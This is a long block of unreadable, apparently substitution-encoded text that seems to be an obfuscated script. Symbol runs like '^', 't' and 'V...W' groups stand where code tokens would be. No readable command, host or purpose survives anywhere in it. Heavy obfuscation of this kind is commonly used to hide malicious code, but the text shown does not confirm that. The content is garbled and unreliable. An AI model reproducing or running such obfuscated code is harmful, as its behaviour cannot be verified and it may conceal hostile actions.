Et^^tt^^^^^^VMHFKVOFOKWVKO	VOFOHWR^^ZHKIR^^^^^^ZOGIWW^^^t^^^^VZOGI%O#^^^^^^ZJ!OLMGJ	GW^^t^^^^^^VKLV
VZJ!OLMGJ	GWWW^^^
^^^
Et^t^^^^^^^VZOGI%O#^^ZJ!OLMGJ	GW^t^^^^^VGHNVOFOIWVZJ!OLMGJ	GR^^^KO	VOFNMWW^^CCC^W^^^^^
Ett^ZG
KK
^C^!!VJ	VOFNJWR^GHNVOFNKWR^^^^^ZJ!OLMGJ	GWEt^^VMHFKVOFNHWVZG
KK
W^XX^^^^ZG
KK
^_CC^^^^ZJ!OLMGJ	G^^^XX^^KLVZG
KK
WW^^
^
Et^^^^t^t^^^VKO	VOFOFWVGHNVOFOGWR^^^ZHKIR^ZOGIWW^tttt^^^^^VZOGI%O#^^^^^ZJ!OLMGJ	GW^t^^^^^^VKLVGHNVOJNNWVVMHFKVOFLNWR^^^MHFKVOFNGWWR^^VY""YR^^^^Y"YYWR^^^ZJ!OLMGJ	GWWW^^^^^^
^^
Et^^^^t^VZOGI%O#^^^^ZJ!OLMGJ	GW^^^^^^t^^^^^^^^^VM!VOFOIWVZJ!OLMGJ	GR^^MHFKVOFNMWW^^CCC^^^^^W^
Et^^^ZG
KK
^C^^^!!VKO	VOFNJWR^J	VOFNKWR^ZJ!OLMGJ	GWEt^^^^^VKO	VOFNHWVZG
KK
W^^^XX^ZG
KK
^^^^^_CC^^^^^^ZJ!OLMGJ	G^XX^KLVZG
KK
WW^
^^
Ettt^^^^^t^t^
^^^^^Ett^^^^^t^^
^M	JNOVZHKIWtt^^^^^V_MHFKVOFNHWVZHKIW^^ZHKI^^^CCC^^^^^^\\W^
^^\\Et^^^
^^^VJ	VOIINWVMHFKVLLJWR^^J	VOFLOWVZHKIR^^NR^^VOKFOMSIHLOWWR^^ZOF		OWW^^^A^^ZOF		O%O#^^^D^^^^\\Et^t^^^
^^
MK!FLF!VZ
JGOR^^ZK	KFR^^Z	JNIF	^C^^Wt^^^^^^t^^V_GHNVOFNHWVZ
JGOW^^^^Z
JGO^CCC^\\W^^^^
^^Z
JGOEtt^^^^ZFIHML^C^^^J	VGMNW^P^^ZK	KF^P^^KO	VOFLLWEtZ
M	F^^^C^^\\Ett^Z	!OIFKL!^^C^NEt^^^^^^^^tt^	^VZ	!OIFKL!UU^B^VOGH HFWW^^tZK!!LHI^^C^^^J	VOFOIWVZ
JGOR^^^^^^ZFIHMLWEt^^VZK!!LHI^CCC^W^Et^^ZIMKF^^^^^^C^^^^ZK!!LHI^^U^J	VOFLMWVZFIHMLWEtZGI!H^C^^^J	VOFOIWVZ
JGOR^GHNVOHJIWR^^^ZIMKFWEt^^^VZGI!H^CCC^^^^^^^ZGI!H^^S^^^^^ZIMKF^^^^^^@^VMLBBOWW^^tZ
M	F^^^^^^PC^^KO	VOFLJWVZ
JGOR^^^^NR^ZIMKFWEtZ
JGO^^^^^C^^MHFKVOFLKWVZ
JGOR^^^^^ZIMKFWEtt^^^
Ett^^^Z
	^^C^^^GHNVOFLKWVZ
JGOR^ZIMKFR^ZGI!H^S^^^ZIMKFWEt^^^^V_KO	VOIINWVMHFKVOFLHWR^^^^^Z
	WW^^t^Z
M	F^^^^^PC^^^KO	VOFLKWVZ
JGOR^NR^^ZIMKFWEttt^^^^Z
JGO^^^C^MHFKVOFLKWVZ
JGOR^ZIMKFWEt^
Etttt^tZO	FJ^^^^C^^J	VGMNW^^P^^^ZK	KF^^P^^^^^KO	VOFLIW^P^^^^^^Z
	^^^^^^P^^MHFKVOHJIWEt^^^ZGG!J^^C^^^KO	VOFLFWVZ
JGOR^^ZO	FJR^^^^ZGI!HWEtttt^^^^^VZGG!J^^CCC^^^W^Et^^^^^Z
M	F^PC^^M!VOFLGWVZ
JGOR^NR^^ZK!!LHIWEt^^^ZH^^C^^^^M!VOFLGWVZ
JGOR^^ZK!!LHIR^ZGG!J^^^^^U^^J	VOFLMWVZO	FJW^^S^ZK!!LHIWEt^^^^^^VZ	JNIF	^^_CC^^^^W^tQQ^>
^
tt^ZJGKFGKM^^^^^C^^^MHFKVMLIWVZ	JNIF	R^^^^ZHWEt^^VGHNVOFMNWVZJGKFGKMWW^Z
M	F^^PC^^^ZJGKFGKMEt^^^^tZ
M	F^^PC^^ZHEtttt^Z
JGO^^C^MHFKVOFMOWVZ
JGOR^^^^ZGG!J^U^^GHNVOFMLWVZO	FJWWEtt^^^
^^^^^Z
M	F^^^P^^^Z
JGOEtt^^^^
^^^^^^I	KFHLJVZ	I!Wt^^^t^^^
^^^^\\Et^t^
^	!KJVZ	I!Wt^^^^^^^t^^V_J	VOFMNWVZ	I!WW^^^^^^
^^^\\Et^^^^^V_VGHNVOINKWWW^
^^^^Z	I!Et^^^^^Z	!J^^^^C^^^^^K!NGJ	V?<-.?*6^^P^KO	VOFMMWR^VGSOWWEt^^^^VJ	VOIINWVKO	VOFMJW^^^P^^Z	!J^^^P^KO	VOFMKWR^^Z	I!WW^^
^^^^\\Ettt^
^^^^Z	I!Ett^
^^!
VZ
JGOWtttt^t^^^V_GHNVOFMNWVZ
JGOW^^Z
JGO^^^CCC^^^\\W^^^^
^Z
JGOEt^Z!!KFIHI!LH^^^C^^^^
MK!FLF!VZ
JGOR^^^MHFKVOFMHWR^^MHFKVOFMIWWEt^^^Z!!KFIHI!LH^C^^^
MK!FLF!VZ!!KFIHI!LHR^^MHFKVOFMFWR^^M!VOFMGWWEt^^^^^^^^^VGHNVOFMNWVZ!!KFIHI!LHWW^^Z!!KFIHI!LH^C^J	VOHKJWVMHFKVOFJNWR^^^^^^\\R^^Z!!KFIHI!LHWEt^^^V_MHFKVOFMNWVZ!!KFIHI!LHWW^^Z!!KFIHI!LH^^C^^^Z
JGOEt^^^^^^VJLIFKIVZ!!KFIHI!LHWW^^t^^Z!!KFIHI!LH^^C^^^
MK!FLF!VZ!!KFIHI!LHR^J	VOFMHWR^^^M!VOFJOWWEtZ!!KFIHI!LH^C^
MK!FLF!VZ!!KFIHI!LHR^^GHNVOFMFWR^^KO	VOFJOWWEt^^^^VGHNVOFMNWVZ!!KFIHI!LHWW^^^^Z!!KFIHI!LH^^C^^GHNVOHKJWVKO	VOFJNWR^\\R^Z!!KFIHI!LHWEt^^^^t^
^^^^^^GHNVOFJLWVZ!!KFIHI!LHW^^^A^Z!!KFIHI!LH^^^D^^^^^^Z
JGOEt^^^t^^
^
NOM
LF	GJGVZ
JGOWttt^^t^^^^^V_KO	VOFJMWVZ
JGOW^^^^^^^_VJ	VOFJJWWW^
^Et^^^VM!VOIINWVJ	VOFJNWR^Z
JGOWW^
^
Ett^Z	NHH
O^^^^C^^^K!NGJ	V?<-.?*6^^P^M!VOFMMWR^^^^^VIUOWWEt^^^^^^^^^VM!VOFJKWVM!VOFJHWR^^Z
JGOR^ZMGOIWW^^t^^^^^^^VZMGOI%O#^^^^ZMKHHGGW^^tQQ^
^S^^).^;^<tt^^^VGHNVOFMOWVZMKHHGGR^^^^SVONSOWW^CCC^^^^^^YDY^^^P^^^^^Z	NHH
OW^^^
^^
Et^^t^tQQ^
^
^ttt^Z!^^^^^^C^^^^^^KO	VOFMOWVM!VOIMJWV?<-.?*6^^P^^^^^J	VOFJIWWR^^NR^^VHULWWEt^^^^VMHFKVOFJKWVMHFKVOFJFWR^^^^^Z
JGOR^^Z!WW^t^^^^^^^^VZ!%O#^^^^ZN
KW^t^^^VZN
K^CCC^^^Z!W^^^^
^^^^^
Et^^^tt^
^^Ett
^
L!
LLKVWt^^^Z!
CVNHGUNGMWEZHFGON
CZ!
[ONEt^^^^^^^^^V_
VZ!9;*%J	VOFJGW#W^^_J	VOFJMWVZ!9;*%M!VOFJGW#W^^^^_J	VOIFHWVKO	VOIFJWWW^
Et^^^^ZHNLJ
^^^C^^^>
!
VKO	VHMNWR^^^^VWWEt^^^^^^V_J	VOIFKWVZHNLJ
WW^^
Et^^^^^^^Z	LFGH^^^^^^C^^^V
W^^^^Z!9;*%J	VOFJGW#EtZJKJ	!FLMK^^C^^VWEttt^^^V
VZHNLJ
%Y
Y#WW^^^^^^ZJKJ	!FLMK%#^^C^^V
W^^ZHNLJ
%Y
Y#Et^^^^^V
VZHNLJ
%M!VHMLW#W^^XX^^^^^^J	VOIFKWVZHNLJ
%MHFKVHMLW#WW^t^^^VZHNLJ
%MHFKVHMLW#^^^^^ZOMW^^^t^^^^^^VJ	VOIFKWVZOMW^^XX^^
VZOM%Y
Y#WW^^^ZJKJ	!FLMK%#^^C^V
W^^ZOM%Y
Y#EtttZ
ILIO!^^C^^^Et^^^^^^^VZJKJ	!FLMK^^^^^^^^^ZMOJHW^tQQ^).^HPM^D^
^
tt^^^^VZMOJH^^^CCC^^\\W^^^^^
Ett^Z
ILIO!^^C^^^^^MHFKVOIFHWVJ	VOFKNWW^A^!VZMOJHR^^Z	LFGHW^^^^D^VZMOJH^^^CCC^^^Z	LFGHWEt^^^VZ
ILIO!W^^Ettttt^^^^V_Z
ILIO!W^^^^^
Et^^^^^^^VGHNVOIFHWVM!VKOKWWW^^^tttJ	VKOKWV
^VW^^VZ	LFGHW^^t^^^^^^^\"B_SS-=5D\^^^P^^Z	LFGH^^P^^MHFKVOFKOWEt^WEt^^^^^^tt
^^^^MJ	
	KFHVWt^^^^^tQQ^.6.^FPN^47*D^S
^
tt^^V_GHNVOFKLWVJ	VOIFJWWW^^^
^^Et^^^^^^^ZOF		O^C^^^^^^>
!
VJ	VHLIWR^\\WEt^^^^V_J	VOFJMWVZOF		OW^^^^^^M!VOFKMWVZOF		OR^^^MHFKVOFKJWW^^^^_CC^^NW^
^^^Ettt^ZFIF^^C^^^V
W^^KO	VOFMOWVZOF		OR^^^VMUMWWEttt^^^^^^^^^^^VZFIF^XX^MHFKVOFKKWVW^S^ZFIF^^^^^^@^^^^^^VFHMKGUJOWW^^^
^^^Et^^^
^^^
Ett^^
^^^^O!FMJVZNOG!MNOR^^^^^ZOOJOWt^^^^t^^^V_KO	VOFKLWVM!VOIFOWW^^^^^_GHNVOFKHWVGHNVKOKWWW^^^
^^Et^^^^^VMJ	
	KFHVWW^^^
^^
EtZHNLJ
^^^^^^C^^^^^>
!
VKO	VHMNWR^VWWEtt^^^^V_M!VOIFKWVZHNLJ
WW^^ZHNLJ
^C^VWEt^V_
VZHNLJ
%MHFKVOFKIW#W^^_GHNVOFKFWVZHNLJ
%KO	VOFKGW#WW^^^^^ttt^Z
^C^^^^^VWEZKFFJC.6.!70*!3?&Q.6.!70*!3?&EZI!
JI!CZKFFJUIJEt^^^^^^^^V
VZHNLJ
%Y
Y#R^ZHNLJ
%YY#R^^ZHNLJ
%YY#WW^^^tQQ^^

^^.-,SI^ttZ
%GHNVOIMJWVV
W^ZHNLJ
%YY#W#^^^C^VY
Y^^C@^^V
W^^ZHNLJ
%Y
Y#R^^YY^C@^^^^V
W^^^ZHNLJ
%YY#R^YY^^^C@^^V
W^^^^ZHNLJ
%YY#R^KO	VOFHNW^C@^
VZHNLJ
%GHNVOFHNW#W^^^A^^^V
W^^^^ZHNLJ
%J	VOFHOW#^^D^^^J	VOFKKWVWR^^^GHNVOFHLW^^^^C@^^^^^NR^^YY^^C@^^NWEt^^^^^ttt^ZHNLJ
^^^^^^C^VJ	VOFKGW^^^^^C@^^^Z
WEt^^t^Z
	^^^C^MHFKVOIMJWVZNOG!MNOWEtt^^^V
VZHNLJ
%GHNVOFKGW#%Z
	#WW^^tZHNLJ
%J	VOFKGW#%Z
	#%J	VOFHOW#^C^^M!VOFHMWVWEttZHNLJ
%M!VOFKGW#%Z
	#%KO	VOFHLW#^^C^^^NEt^^^^ZHNLJ
%M!VOFKGW#%Z
	#%YY#^^^C^^VZOOJO^^^^CCC^^^^\\W^^^^A^O^D^^NEtt^^^^^V_GGLJO!MOVZHNLJ
%MHFKVOFKGW#%Z
	#%YY#R^ZOOJOWW^tQQ^).^-
^*D^
^S
tt^^^!LNLVGHNVOFHJWR^^^^^J	VOFHKWWEt^^^
^^^Et^^t^^^^^^^ZH
HCLNULMEZ!NHGH
NMCZH
HSJGEtZ	G	
LLF^^^C^JOHMLKLVWEttttZM	^C^Z	G	
LLF^^^P^M!VOFHHW^P^^K!NGJ	VZNOG!MNOR^^^^^^VKUIWW^^^^^^P^MHFKVOFHIWEt^^V_GGLJO!MOVZM	R^^^^ZOOJOWW^^^^tttt^^!LNLVMHFKVOFHJWR^^^^GHNVOFHFWWEt^^^^^^^
^^Et^tQQ^.-,SI^^^ttZHNLJ
%MHFKVOFKGW#%Z
	#^C^^VY
Y^^C@^^	IJLVVOKUOWWR^^YY^^C@^^ZNOG!MNOR^^YY^^^C@^^ZM	R^MHFKVOFHOW^C@^^KO	VOFHMWVWR^^^M!VOFHGW^^C@^^NR^^^^YY^^C@^^^^VZOOJO^^^^^^CCC^\\W^^A^^O^^D^^NWEt^^^^^^^t^^^^	^^^^VKO	VOILFWVZHNLJ
%KO	VOFKGW#W^@^^^VOLSLWW^^^^t^ZOFM^^^^C^^Et^Z	JGLFHK^^^^^C^Ett^^^VZHNLJ
%GHNVOFKGW#^^^^^^^^^^^Z
JHJG^^^^^^C@^^Z
!KJ
W^^^t^^VZ	JGLFHK^^CCC^^^^^^^V
W^^Z
!KJ
%J	VOFINW#^^B^Z	JGLFHKW^^tZ	JGLFHK^C^^^^V
W^^^^^Z
!KJ
%MHFKVOFINW#EtttZOFM^C^^^Z
JHJGEt^^^^^^t^^^^t^^^^VZOFM^^^CCC^^^^W^^Et^^^OM	VZHNLJ
%J	VOFKGW#%ZOFM#%YY#WEt^^^
VZHNLJ
%KO	VOFIOW#%ZOFM#WEt^t^^^>
!
VJ	VHMNWR^^^ZHNLJ
R^^GHNVOFILWWEt^^MHFKVOFIMWVJ	VOFIJWWEt^^
^
Et^^t^
^NHJLK
VZK	!
!Wt^^t^^^ZOLLO^^^^^C^^^>GHNVOFIKWVZK	!
!R^^^VJ	VOFIHW^^C@^^VLOF LOJWR^^^KO	VOOKOW^^C@^^^R^^M!VJJOW^^C@^^^
R^GHNVOOKLW^^C@^NR^J	VOFIIW^C@^^VKO	VOFIFW^^^^^C@^^M!VOFIGWR^^^^GHNVOFFNW^C@^J	VOOJFWWWWEt^^^^VMHFKVOFKHWVM!VOFFOWW^^XX^^^!	!VZOLLOWW^
^^^^^VSOR^^WEt^^^^^^^^ZMFK^^C^^MHFKVOFKHWVM!VOFFLWW^^^^^^A^V
W^^	!
!
!!VZOLLOW^^^D^^^^^NEt
^^^^VZMFKR^^ZMFK^^^@^N^^XX^^^^MHFKVOFFMWVMHFKVOFFJWW^^A^V
W^^	!
!
!VZOLLOW^D^^^^\\WEt^^^^^tt^^^^^^^
^^^!KOMH	VZOMWt^t^^^^ZJJ^^^^C^^^^^^>KO	VOIGHWVZOM%YY#WEt^^^^^^V_M!VOFJMWVZJJWW^^^^^
^Et^^^^VZJJ^^^CCC^^\\W^t^^^^V
VZOM%YY#WW^
^^^E^tZIHLK^C^^_>MHFKVOIFIWVZOM%YY#WEt^^^^V_ZIHLKW^^^^^tttt^^^MIFJHVZOM%YY#R^^VMGIULMWWEt^^ZIHLK^^^^C^^^^OM	VZOM%YY#WEtttt^VJ	VOFFMWVJ	VOHHFWWW^^^^>!
VZOM%YY#R^^^^
WEt
^^^^^ZIHLKEt^^^ttt^^^^^^^^V_GGLJO!MOVZOM%YY#R^^ZJJWW^^^^^
^Et^^^^^^VKO	VOFFKWVKO	VOHHFWWW^>!
VZOM%YY#R^^^
WEt
^
Ett^^
^M	!OLJVWt^^t^^^^^^V_MHFKVOFFKWVJ	VOFFHWWW^^
Et^^^ZHNLJ
^^^C^^^>
!
VKO	VOFFIWR^^^VWWEtttt^V_MHFKVOFFFWVZHNLJ
WW^
Et^^^^^V_
VZHNLJ
%MHFKVOFIOW#W^^^^^^^_KO	VOFFFWVZHNLJ
%GHNVOFIOW#WW^tQT^
^S^TQtt^^^^Z
^C^^^VWEt^^^^^^^^^V
VZHNLJ
%Y
Y#R^^^^^^ZHNLJ
%YY#R^ZHNLJ
%YY#WW^^tttZ
%MHFKVOFFGWVV
W^^ZHNLJ
%YY#W#^C^^^^^VY
Y^^C@^V
W^^ZHNLJ
%Y
Y#R^YY^C@^^^V
W^^ZHNLJ
%YY#R^^YY^C@^^^V
W^ZHNLJ
%YY#R^^^J	VOFGNW^^^C@^^
VZHNLJ
%M!VOFGNW#W^A^^^^^V
W^ZHNLJ
%GHNVOFGOW#^^^D^^^MHFKVOFHMWVWR^^J	VOFGLW^^C@^NWEt^^ttZHNLJ
^C^^^^^^VMHFKVOFGMW^^^C@^^^Z
WEt^^^tQQ^

S^^^-^
ttttt^^^^^^V
VZHNLJ
%KO	VOFGMW#WW^^^tt^^>
!
VGHNVOFFIWWEt^
Et^^^t^^

^^^ZGNM^C^^^^^^Et^^^^^^VZGNMW^^^^^^
Et^^^^^^^ZGNM^^^C^
Et^^^^^^^VKO	VOFGJWVJ	VJJMWWW^>KO	VJJMWVWEt^^VJ	VOFGJWVKO	VJJKWWW^^^>GHNVJJKWVWEt^^VJ	VOFGKWVJ	VJJIWWW^^^^>MHFKVJJIWV
WEtttt^^^^^^V_KO	VOFGKWVJ	VOFIKWW^^^^^^_KO	VOFGKWVMHFKVOHFMWWW^^^^^^
Et^^^Z	J
^^C^!VYQYWEtZIGFKN^^^C^^^^KO	VOFGKWVKO	VOFGHWW^^^^^A^^^	!!VW^D^^Z	J
^P^GHNVHMKWEt^^^^^ZGMNNM

^^^^^^C^^Et^^ZJMNHK^^^C^^^^^
EtZGGI	N
^^C^^^VHSMWEtttt^^^^VZHNLJ
%MHFKVOFGMW#^^^Z
	^^^C@^^^^ZOMW^^^tQQ^>^ttttt^^^^^^V_MHFKVOFFFWVZOMW^^^^
VZOM%Y
Y#W^^^^^^^^
VZOM%YY#W^^^^
VZOM%YY#WW^^^^^t^^^
VZHNLJ
%J	VOFGIW#%Z
	#WEt^^^ZGMNNM

^C^^^^^
Et^^
Et^^^^^^t^^^^VGHNVOFGFWVW^^^^^S^V
W^ZOM%J	VOFGOW#^^@^^^^VOIJLUKFW^^^^^V
W^ZOM%J	VOFGGW#^@C^^^VMUMWW^t^!LNLVM!VOGNNWR^^MHFKVOGNOW^^^P^^GHNVOIHNWVZOM%YY#WWEt^OM	VZOM%YY#WEt^^^^
VZHNLJ
%J	VOFGIW#%Z
	#WEttttZGMNNM

^^^^^C^^^^^
Et
Et^^t^^VZGGI	N
^^^^BC^NW^^^Et^^^^ZGGI	N
SSEt^ZFGN!^C^^^^GHNVOGNLW^^^^^^P^MHFKVOGNMWVZOM%Y
Y#W^^P^^M!VOGNJW^^^^^P^KO	VOONJWVVNKUNIWR^^^VGGGGMGUHNWWEtt
VZMFKR^ZNG
HFW^^^C^^NHJLK
VZ	J
^P^ZFGN!WEt^VZMFK^^^^^@^NW^^^ZJMNHK^^^^C^^Et^^^^VZMFK^BC^^N^XX^^KO	VOFGKWVJ	VIGOWWW^^^^GHNVIGOWVLWEt^^VZMFK^^^^^BC^^^^^^NW^^t
VZMFKR^^ZNG
HFW^C^^^^^NHJLK
VZ	J
^^^^^^P^ZFGN!WEt^^^^^^^^VZMFK^^^@^^^NW^^^ZJMNHK^C^^Et^tQT^
S
^S
^TQtt^VZMFK^^^BC^NW^^tQQ^
^
S	S^^).^8
^2tt^^ZHNLJ
%KO	VOGNKW#%Z
	#%MHFKVOGNHW#UUEtt^^^ZGMNNM

^^^C^^
Et^^^^^
Et^^^t^^^^^^^^VZMFK^^^^^^@C^VJKOUJGWW^tttt^^^^^^V!KOMH	VZOMWW^^t^^^^!LNLVJ	VOGNIWR^KO	VOGNFW^P^^^^^^KO	VOIHNWVZOM%YY#WWEtttt^^^OM	VZOM%YY#WEt^
VZHNLJ
%KO	VOGNKW#%Z
	#WEt^^^^^^^^t^ZHNLJ
%MHFKVOGNGW#%Z
	#%KO	VOGONW#UUEt^^tt^ZGMNNM

^^C^^
Et^
Et^t^^VGHNVOFKMWVZNG
HFR^^J	VOGOOW^^^^P^ZOM%Y
Y#^P^^M!VOFKOWW^^^^^_CC^^^W^^t^OM	VZOM%YY#WEt
VZHNLJ
%GHNVOGOLW#%Z
	#WEtZGMNNM

^C^
Ettt^^
EttQQ^).^(^<D^
^tt^^^^
VZF
	R^^^ZNNGJ!LW^C^NHJLK
VZIGFKN^^P^^^^VKO	VOFKMWVZIGFKNR^YAYW^CCC^^^^A^YAY^^^^D^^YXYW^^P^GHNVOGOMW^^P^GHNVOGNMWVZOM%Y
Y#W^P^^^^J	VOGOJW^^^^P^^^^^GHNVOONJWVVGGGLLUIFWR^^VGGGGLJUIKWWWEt^^^^^^^^VZF
	^^^^@^NW^^ZJMNHK^^C^^^Ett^VZF
	^^^^^@C^^VMHOUOMGWW^^t^^V!KOMH	VZOMWW^^tttt^^!LNLVJ	VOGOKWR^KO	VOGOHW^P^^^KO	VOIHNWVZOM%YY#WWEt^^OM	VZOM%YY#WEt^^^
VZHNLJ
%GHNVOGOLW#%Z
	#WEt^^^^^^^^tttt^^ZHNLJ
%GHNVOGOLW#%Z
	#%MHFKVOGONW#UUEt^^^tQT^^
^TQtttt^^^^^^ZGMNNM

^^^C^^
Et^^
Et^^^^^^^t^^^^^VM!VOFJMWVZNNGJ!LW^^^^XX^^J	VOFKMWVZNNGJ!LR^MHFKVOGOOW^^P^ZOM%Y
Y#^^P^^^^GHNVOGOIWW^^^^_CC^^^W^^^^^tOM	VZOM%YY#WEt^^^^
VZHNLJ
%GHNVOGOLW#%Z
	#WEt^^^ZGMNNM

^^C^
Et^^^^
Ett^^^^^^ZHNLJ
%J	VOGOFW#%Z
	#%J	VOGONW#UUEt^^^^^ZGMNNM

^^^^^C^
Et^t^^^^^^^^^VZJMNHK^XX^^ZGMNNM

^^XX^_
VZHNLJ
%KO	VOGOFW#WW^^^t^^^Z!	LIKNJ^^C^Ettt^VZHNLJ
%MHFKVOGOFW#^^^^^ZO
IW^t^^VV
W^ZO
I%M!VOGONW#^@C^^VIJ IMWW^tQQ^.-,SJ^D^^Stt^^^^Z!	LIKNJ^^C^^
EtttEt^t^^^^^^^tt^^^^^^VZ!	LIKNJW^tttt^>
!
VGHNVOGOGWR^GHNVOGLNW^^^P^KO	VOFGFWVWR^^KO	VOFILWWEt^!LNLVKO	VOGOKWR^^MHFKVOGLOWWEtttt^^^^^^^^VZHNLJ
%J	VOGOFW#^^^^^^Z
JHJG^^C@^^^ZO
IW^^^^t^^^^^OM	VZO
I%YY#WEtt^
VZHNLJ
%GHNVOGOFW#%Z
JHJG#WEt^^^^t^^^^^tQQ^
S
^
^Stt^^^^^^^V_ZJMNHKW^^^^^^t^^^^Z!H^C^^>
!
VKO	VOGOGWR^^\\WEt^^^^^^V_M!VOFJMWVZ!HW^^^^^^J	VOGLLWVZ!HR^^^KO	VOIGLWW^^_CC^^^NW^>
!
VJ	VOGLMWR^^GHNVOGLJW^^^P^^MHFKVOFGFWVWR^^^^^^M!VOGLKWWEtttt^^^V
VZHNLJ
%M!VOGOFW#WW^^^^^>
!
VKO	VOGLHWWEt^^VZGMNNM

W^^^^>
!
VJ	VOGLHWR^^ZHNLJ
R^^M!VOGLKWWEt^^^^^t^^
^	I	OKVZ
JGOWt^^^^^tQQ^>^

tttt^
^^^^GHNVOFJMWVZ
JGOW^^^^XX^^VKO	VOGLIWVZ
JGOR^^J	VOGLFWW^^^^^_CC^^^^^M!VOGLIWVZ
JGOR^KO	VOGLGWW^^^_CC^^^^^KO	VOGLIWVZ
JGOR^^^^^M!VOKIGWW^^^_CC^^^^^GHNVOGLIWVZ
JGOR^^^^^^M!VOGMNWW^^_CC^^^^^^^^^MHFKVOGMOWVZ
JGOR^^M!VOHNHWW^^_CC^^^^^^^^^^KO	VOGMOWVZ
JGOR^^GHNVOGMLWW^^^^_CC^^^WEtt^^^^^
^^^KL	I
VZ
JGOWtt^^^^V_	I	OKVZ
JGOWW^^^
^Et^^^^^^^VJLIFKIVZ
JGOWW^^^^^
^
Et^^^^^^VJ	VOFJKWVJ	VOGMMWR^^Z
JGOR^ZOF		OWW^^t^^^^^^VZOF		O%O#^^^^^^^^Z
!KJ
W^^^^^t^^^^V!VZ
!KJ
R^^^MFKKIO
VWR^^YBYWW^
^^
Ettt^^t^^
^^Et^t^^
^^^^
Et^^^^^t^^
^	MIO!FKVZHKHJHFWt^^^^t^V_>J	VOIFIWVZHKHJHFW^^^^^^_>M!VOHFLWVZHKHJHFWW^^
Et^^Z
JN^C^^>J	VOGMJWVZHKHJHFWEt^V_Z
JNW^^^^
Et^^^VZ
JN^^@^VOMFOMKGISMMLIFMIWW^^tZ	MMF^C^^>KO	VOIGHWVZHKHJHFR^R^^R^^^^NR^^^VLHFGKUMFHJOWWEt^^^^^V_	I	OKVZ	MMFWW^^^^^
Et^^^^^^^^V
GH!	G
JGVZHKHJHFW^^^^CCC^^^W^^t^^^^^!LNLVM!VOGMKWR^^MHFKVOGMHW^P^^^^M!VOIHNWVZHKHJHFWWEt^^^^^^
Etttt^^^>KO	VLONWVZHKHJHFR^^\BA"\WEt^^^VKO	VOFGKWVM!VOHHFWWW^^>!
VZHKHJHFR^^
WEt^
Et^tt^^^VZ
JN^^@^VLNHKOGNSONOHHOJWW^tttt^^^Z
FOHN^^^^C^V
W^>M!VOIGHWVZHKHJHFR^R^^^R^^^^NR^VFOIJUOFWWEttttZ
MO!JLOHLL^^^C^^VZ
JN^^@^^^VFOLHUHHWW^^^^A^V
W^>J	VOIGHWVZHKHJHFR^^R^^^^^R^^^^^Z
JN^^S^^^VNGUNOLOIWW^^^^D^^^\\Et^ZJH!K!	^C^^Z
FOHN^^P^^Z
MO!JLOHLLEtttt^^VZJH!K!	^^_CC^\\^XX^M!VOFJKWVMHFKVOGMIWR^^^^ZJH!K!	R^^^Z
HIWW^^^^ZKLFNCOGUMKEZ!N
NNCZKLFNSJLEtZLFGI^^^^C^Et^^^^^^^VZ
HI%O#^^^^^^^^^^^ZN!W^^^t^^^^V!VZN!R^^^MFKKIO
VWR^YBYWW^^^^^^tt^ZLFGI^C^^^^
Et^Et^t^^t^^V_ZLFGIW^
Et^^^^tt^^^^^Z
JGO^C^^^>J	VOIGHWVZHKHJHFWEt^^VM!VOFJMWVZ
JGOW^^XX^^^M!VOGMFWVZ
JGOW^^^^@^^^VJNFFLHUHMGIKNWW^^Z
JGO^^C^!ML!JNGNVZ
JGOWEt^^V_MHFKVOFJMWVZ
JGOWW^
Et^^V_KL	I
VZ
JGOWW^^^^^^
EtNMLMK
LF!VZHKHJHFR^^^Z
JGOWEt^^^^t^^^^^
^^NMLMK
LF!VZHKHJHFR^Z
JGOWt^^^^^tttt^^^^^^^Z!!KFIHI!LH^C^KO	VOHKJWVGHNVOGMGWR^\\R^Z
JGOWEZJONFCIJMEZNJF!	OCVZJONF@NWAZJONFDSZJONFEt^^^^ttt^^^^^^^V_MHFKVOFJMWVZ!!KFIHI!LHW^^^^^^KO	VOIIKWVZ!!KFIHI!LHW^^^CCC^^^\\^^^J	VOIIKWVZ!!KFIHI!LHW^^^^CCC^^KO	VIIOWW^^^Z!!KFIHI!LH^C^\BA"\Et^^^^VGHNVOGMFWVZ!!KFIHI!LHW^@C^VJONUGNW^^XX^_JKOOFVZ!!KFIHI!LHWW^^Z!!KFIHI!LH^C^\BA"\Et^ZGNGN^^C^^>VZHKHJHFWEt^^^ZGNGN^C^VZGNGN^^^CCC^^^W^^^A^^VKJMSOLMW^^^^^D^^^VZGNGN^^X^^VNUNONMWWEt^^^^^ZM!

^^^^^C^>M!VOGJNWVZHKHJHFWEt^^ZFFH!!NM^^C^^>M!VLFWVGHNVOGJOWVZHKHJHFWR^^^^KO	VOGJLWWEt^^^^VZFFH!!NM^CCC^W^^^
Et^^^V>GHNVOGJMWVZFFH!!NMR^^Z!!KFIHI!LHW^^_CC^^^^^M!VOGMFWVZ!!KFIHI!LHWW^^^t^^^^>M!VOGJJWVZFFH!!NMWEt^^
Et^t^>KO	VOHMWVZFFH!!NMR^^ZGNGNWEZFOICLOTLEZOKNCZFOISJLEt^^^V_>GHNVLNNWVZFFH!!NMR^ZHKHJHFWW^^t^^>KO	VOGJKWVZFFH!!NMWEt^^
Et^^^^^t^^^^^^^VZM!

W^^>GHNVOGJHWVZHKHJHFR^ZM!

WEt^^^^^^^VGHNVOFGKWVJ	VOGJIWWW^^^^>!
VZHKHJHFR^^^
WEtttt^t
^^^OG	VZ	I!Wt^^t^^^^^^^V_KO	VOFJMWVZ	I!WW^^
^\\Et^^^VJ	VOGJFWVMHFKVOGJGWR^^Z	I!R^ZHJLOWW^tttt^ZOMO!^^C^^ZHJLO%O#Et^^^^Z
JN^^^^C^^^^^^>MHFKVOIFIWVZOMO!W^A^>M!VOGMJWVZOMO!W^^^^D^^^^^NEttt^^^^^V_Z
JN^^^^^^^^Z
JN^^^^B^^VMKGUOJOW^^^Z
JN^^@^VIFFMHGMKSLHJNFOMKWW^t^^^^^^VZ
JN^@^^VKLJLFINHUGJWW^^tttZOKO^^^C^>M!VOGKNWVZOMO!WEt^^^^^^^^^^^^^V_J	VOFJMWVZOKOWW^ZOKO^^^C^^^^^ZOMO!Et^^ZOKO^^C^^^KO	VOJNNWVY""YR^^YQYR^^^^ZOKOWEt^^ZNON!	^^^C^^EZHKGLFCGFUFIEZN
CZHKGLFSMJEt^^^^^ZLHIF

!^^C^^^^VVMHFKVOFJJWW^^A^^J	VOIONWV?<-.?*6R^^^^J	VOKNHWW^^D^^^\\R^VKO	VMNMWW^^A^^^^J	VOGKOWV).!=10*;0*!:7,R^^^GHNVOKNHWW^^^D^^^^^\\WEt^^VZLHIF

!^^^^^^^Z
KKGOW^t^^^^^Z
